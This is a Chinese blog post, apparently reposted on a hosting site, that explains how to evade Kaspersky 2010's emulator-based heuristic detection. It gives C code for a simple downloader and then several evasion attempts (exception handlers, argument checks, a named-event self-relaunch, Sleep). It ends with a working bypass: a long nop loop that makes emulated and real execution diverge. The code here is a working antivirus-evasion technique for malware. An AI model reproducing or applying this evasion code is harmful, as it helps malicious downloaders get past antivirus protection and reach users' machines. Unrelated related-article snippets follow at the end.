卡巴2010虚拟机启发式查毒的绕过方法

据我了解在卡巴7中就有虚拟启发式查毒的功能。国内就有人在BLOG上发表了一篇如何突破卡巴7的虚拟机启发式查毒的文章[1]。卡巴8和最新的卡巴2010中仍然具有该功能。卡巴斯基不用我多说了,大家都知道。我最近在网上查到有人说卡巴斯基是俄罗斯国家科学院合作开发的,军方和克里姆林宫专用。这个我还真的不清楚了,请原谅我的无知。我先来说下什么是虚拟机启发式杀毒。

我认为在这里的虚拟机启发式杀毒应该可以理解为在虚拟机中执行和启发式杀毒。虚拟机即构造一个虚拟执行环境或者说一个仿真的环境,将病毒等恶意代码在该仿真的环境中运行实现自己脱壳等等。该仿真的环境和用户计算机的真实环境是隔离的。

举个例子:现在的恶意代码都采用加壳为自己提供保护,尤其是一些已知病毒的变种。当采用虚拟机执行技术加壳保护的恶意代码仍能被杀毒软件检测到,有能力的读者可以自己实验一下。

启发式指的是自我发现并推断或判定事物的方式。启发式杀毒通过分析程序指令的序列或者API函数的调用顺序以及其他恶意代码与正常程序的不同等经验和知识的组合来判定是否是恶意代码。这样的启发式杀毒具备某种人工智能特点。它的优点不用我多说废话,举个例子:Downloader相信大家都知道,最重要的两个API是URLDownloadToFile和ShellExecute(也可以是其他执行一个程序的API)。例如,在使用虚拟机启发式杀毒时,当被查毒程序的API调用序列中出现URLDownloadToFile或者ShellExecute,又或者不是按照先URLDownloadToFile后ShellExecute的调用顺序是不会被报Downloader的。

可以说由于主动防御技术的种种缺点,现在各杀毒软件厂商已经将虚拟机杀毒和启发式杀毒作为杀毒业界的追求和探索的目标。可以预见到在未来几年内杀毒软件将不再会出现当正常使用系统和软件时频繁弹出主动防御窗口的尴尬。接下来将通过上面提到的Downloader例子分析下卡巴的虚拟机启发式查毒的特点,并在最后给出一种可能的绕过方法和演示代码,供各位看官赏玩。

我假设您已经知道什么是Downloader,一个最简单的Downloader是:
#include “stdafx.h”
#include
#include
#pragma comment (lib,”Urlmon.lib”)

int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{
        TCHAR szFileName[MAX_PATH] = {0};
        URLDownloadToCacheFile(NULL,L”
file://c:\\windows\\notepad.exe”,szFileName,MAX_PATH,0,NULL);
        ShellExecute(0,L”open”,szFileName,NULL,NULL,SW_SHOW);
        return 0;
}

这个程序是使用Visual Studio 2008创建的Win32窗口工程。编译后卡巴2010直接报Downloader。首先使用了之前提到的xyzreg提到的方法,现在在卡巴2010下已经不适用,简单的测试了一下卡巴2010会把自己模拟成explorer.exe。所以检查父进程是否是explorer.exe的方法不行了,但是如果检查自己的父进程是否是cmd.exe就可以了。当然这个实用性并不强,因为要求Downloader必须由cmd.exe启动。

我觉得应该有其他的方法可以逃过虚拟查毒,但是这里只从虚拟查毒本身入手。首先想到的是这个虚拟机和真实环境是否有区别?这个回答当然是肯定的。但是这些区别在哪里,这些区别是否会影响到。是否存在一种情况虚拟机无法虚拟而导致虚拟环境下无法执行到URLDownloadToCacheFile和ShellExecute那就不会检查到是Downloader了。这个思想很简单,然后要怎么实现呢。

首先想到虚拟机是否虚拟了异常处理,如果没有虚拟异常处理,那我们认为的制造一个异常,将具有Downloader特性的API调要放到异常处理程序中不就绕过了吗。于是有了下面的代码:

BOOL SafeDiv(INT32 dividend, INT32 divisor, INT32 *pResult)
{
    __try
    {
                *pResult = dividend / divisor;
    }
    __except(GetExceptionCode() == EXCEPTION_INT_DIVIDE_BY_ZERO ?
             EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH)
    {
                TCHAR szFileName[MAX_PATH] = {0};
        URLDownloadToCacheFile(NULL,L”
file://c:\\windows\\notepad.exe”,szFileName,MAX_PATH,0,NULL);
                ShellExecute(0,L”open”,szFileName,NULL,NULL,SW_SHOW);
                return TRUE;
    }
    return TRUE;
}

在Downloader的程序入口以参数divisor为0调用这个SafeDiv函数,。这样就会产生一个除0的错误。结果是卡巴报Downloader!看样子卡巴有对异常处理虚拟的能力。

恩。。。如果我在代码中添加int 3中断会发生什么情况呢?应该也虚拟了。现在就来试试,果然在Downloader入口添加int 3后当然是查不出来了,呵呵,程序也运行不了了。接下来就看看能不能找到方法让程序在真实情况下能运行在,虚拟机下停住了。没有多久想了一个替代的方法,判断程序的输入参数。通过检查程序的输入参数来控制程序的执行流程。简单的在Downloader入口添加判断程序参数的代码:

if(strcmp(argv[1],”1″)!== 0)
                return;

程序运行时输入参数“1”程序执行Downloader的功能,在虚拟机中执行时没有参数输入所以程序返回,检测不到恶意函数调用顺序。当然这样的恶意代码是丑陋的,所以我想到使用CreateProcess来启动Downloader自己的另一个实例。代码如下:

部分变量声明和初始化代码省略。。。

INT32 divisor = 1;
        if(argc == 1)
        {
                TCHAR szPath[MAX_PATH];
                GetModuleFileName(NULL,szPath,MAX_PATH);
                CreateProcess(szPath,L”1 2″,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
                ExitProcess(0);
                return;
        }

        if(strcmp(argv[1],”2″) == 0)
                divisor = 0;
        SafeDiv(10,divisor,&Result);
ExitProcess(0);
        return;
}

编译成功后,使用卡巴2010查毒。报Downloader!失望啊!将对函数参数检查的方式换成使用“命名对象”的方式:

//定义一个“命名对象”
TCHAR szMutex[] = L”11111”;
HANDLE hEvent = CreateEvent(NULL,NULL,NULL,szMutex);
int tmp = GetLastError();
if(tmp == 0)
{
        STARTUPINFO si;
        PROCESS_INFORMATION pi;

        ZeroMemory( &si, sizeof(si) );
        si.cb = sizeof(si);
        ZeroMemory( &pi, sizeof(pi) );
        TCHAR szPath[MAX_PATH];
        GetModuleFileName(NULL,szPath,MAX_PATH);

        CreateProcess(szPath,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
        return 0;
}
TCHAR szFileName[MAX_PATH] = {0};
URLDownloadToCacheFile(NULL,L”
file://c:\\windows\\notepad.exe”,szFileName,MAX_PATH,0,NULL);
ShellExecute(0,L”open”,szFileName,NULL,NULL,SW_SHOW);
return 0;

报Downloader!失望!看样子卡巴的虚拟机对API的模拟和程序执行的流程虚拟很到位!不知道对时间的虚拟的怎么样?代码中有Sleep(10000000)的语句会不会影响虚拟查毒的时间呢?根据我的实验在其中加入Sleep函数睡眠很长的一段时间并没有影响虚拟杀毒查出Downloader的时间,所以估计对时间的虚拟可能不好。将上面的代码中在CreateProcess调用之后调用Sleep睡眠一段较长的时间如5秒,然后调用CloseHandle关闭“命名事件”。

如果卡巴遇到Sleep函数简单的跳过,则在虚拟机中执行的顺序将是先执行Sleep后的CloseHandle关闭事件,然后再进入到新实例中创建“命名事件”,在这种情况下就能创建成功,所以程序的执行流程不会进入到URLDownloadToCacheFile处,以此绕过检测。但是实际情况时仍然被报Downloader,说明卡巴2010对Sleep等时间相关的函数虚拟的也很好。

到这里停下来想想,我们已经掌握了卡巴虚拟机执行的许多特性了,最理想的方案是在上述方法中进行改进,能达到对卡巴虚拟机执行的时间方面的攻击。于是想到使用大量无意义的代码块来模拟Sleep函数的功能,原因是对于大量循环的无意义操作卡巴是否完全虚拟其执行,我想应该是没有的。于是代码变为:

#include “stdafx.h”
#include
#include
#include
#pragma comment (lib,”Urlmon.lib”)


// Global Variables:
HINSTANCE hInst;    // current instance


// Forward declarations of functions included in this code module:


int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{
        TCHAR szMutex[] = L”1111″;
        HANDLE hEvnet = CreateEvent(NULL,NULL,NULL,szMutex);
        int tmp = GetLastError();
        if(tmp == 0)
        {
                STARTUPINFO si;
                PROCESS_INFORMATION pi;

                ZeroMemory( &si, sizeof(si) );
                si.cb = sizeof(si);
                ZeroMemory( &pi, sizeof(pi) );
                TCHAR szPath[MAX_PATH];
                GetModuleFileName(NULL,szPath,MAX_PATH);

                CreateProcess(szPath,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
                for(int i = 0;i < 1000000000; i++)
                        __nop();
                CloseHandle(hEvnet);
                return 0;
        }
        TCHAR szFileName[MAX_PATH] = {0};
        URLDownloadToCacheFile(NULL,L”
file://c:\\windows\\notepad.exe”,szFileName,MAX_PATH,0,NULL);
        ShellExecute(0,L”open”,szFileName,NULL,NULL,SW_SHOW);
        return 0;
}

编译。对该文件执行查毒,没有检测到威胁。成功了。总的说来,卡巴的虚拟机没有真正的像真实环境一样对像。
               
for(int i = 0;i < 1000000000; i++)
                        __nop();

这样的语句块进行真正的执行,导致虚拟机的时间和真实环境下的时间不一致导致在虚拟机中和真实环境下的执行流程的不一样。这样就实现了对卡巴虚拟查毒的绕过。总的说来,卡巴斯基是一个很强大的杀毒软件,杀毒能力确实也比较强,但是也不应该过分相信卡巴。有人
说的好,要让人正确认识卡巴斯基这个优秀的杀毒软件。

另外,本文的基于超时的攻击思路和这篇2年前的文章[2]颇有一番异曲同工之妙,而”Timing Attack”在Google Scholar上的搜索结果有1,110,000[3]条!希望通过本文,能够让各位看官重新认识Timing Attack的奇妙之处。

最后,严重的感谢一下c4pr1c3的帮助和关怀。 

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/145718.html<

(0)
运维的头像运维
上一篇2025-03-10 18:21
下一篇 2025-03-10 18:22

相关推荐

  • 个人主题怎么制作?

    制作个人主题是一个将个人风格、兴趣或专业领域转化为视觉化或结构化内容的过程,无论是用于个人博客、作品集、社交媒体账号还是品牌形象,核心都是围绕“个人特色”展开,以下从定位、内容规划、视觉设计、技术实现四个维度,详细拆解制作个人主题的完整流程,明确主题定位:找到个人特色的核心主题定位是所有工作的起点,需要先回答……

    2025-11-20
    0
  • 社群营销管理关键是什么?

    社群营销的核心在于通过建立有温度、有价值、有归属感的社群,实现用户留存、转化和品牌传播,其管理需贯穿“目标定位-内容运营-用户互动-数据驱动-风险控制”全流程,以下从五个维度展开详细说明:明确社群定位与目标社群管理的首要任务是精准定位,需明确社群的核心价值(如行业交流、产品使用指导、兴趣分享等)、目标用户画像……

    2025-11-20
    0
  • 香港公司网站备案需要什么材料?

    香港公司进行网站备案是一个涉及多部门协调、流程相对严谨的过程,尤其需兼顾中国内地与香港两地的监管要求,由于香港公司注册地与中国内地不同,其网站若主要服务内地用户或使用内地服务器,需根据服务器位置、网站内容性质等,选择对应的备案路径(如工信部ICP备案或公安备案),以下从备案主体资格、流程步骤、材料准备、注意事项……

    2025-11-20
    0
  • 如何企业上云推广

    企业上云已成为数字化转型的核心战略,但推广过程中需结合行业特性、企业痛点与市场需求,构建系统性、多维度的推广体系,以下从市场定位、策略设计、执行落地及效果优化四个维度,详细拆解企业上云推广的实践路径,精准定位:明确目标企业与核心价值企业上云并非“一刀切”的方案,需先锁定目标客户群体,提炼差异化价值主张,客户分层……

    2025-11-20
    0
  • PS设计搜索框的实用技巧有哪些?

    在PS中设计一个美观且功能性的搜索框需要结合创意构思、视觉设计和用户体验考量,以下从设计思路、制作步骤、细节优化及交互预览等方面详细说明,帮助打造符合需求的搜索框,设计前的规划明确使用场景:根据网站或APP的整体风格确定搜索框的调性,例如极简风适合细线条和纯色,科技感适合渐变和发光效果,电商类则可能需要突出搜索……

    2025-11-20
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注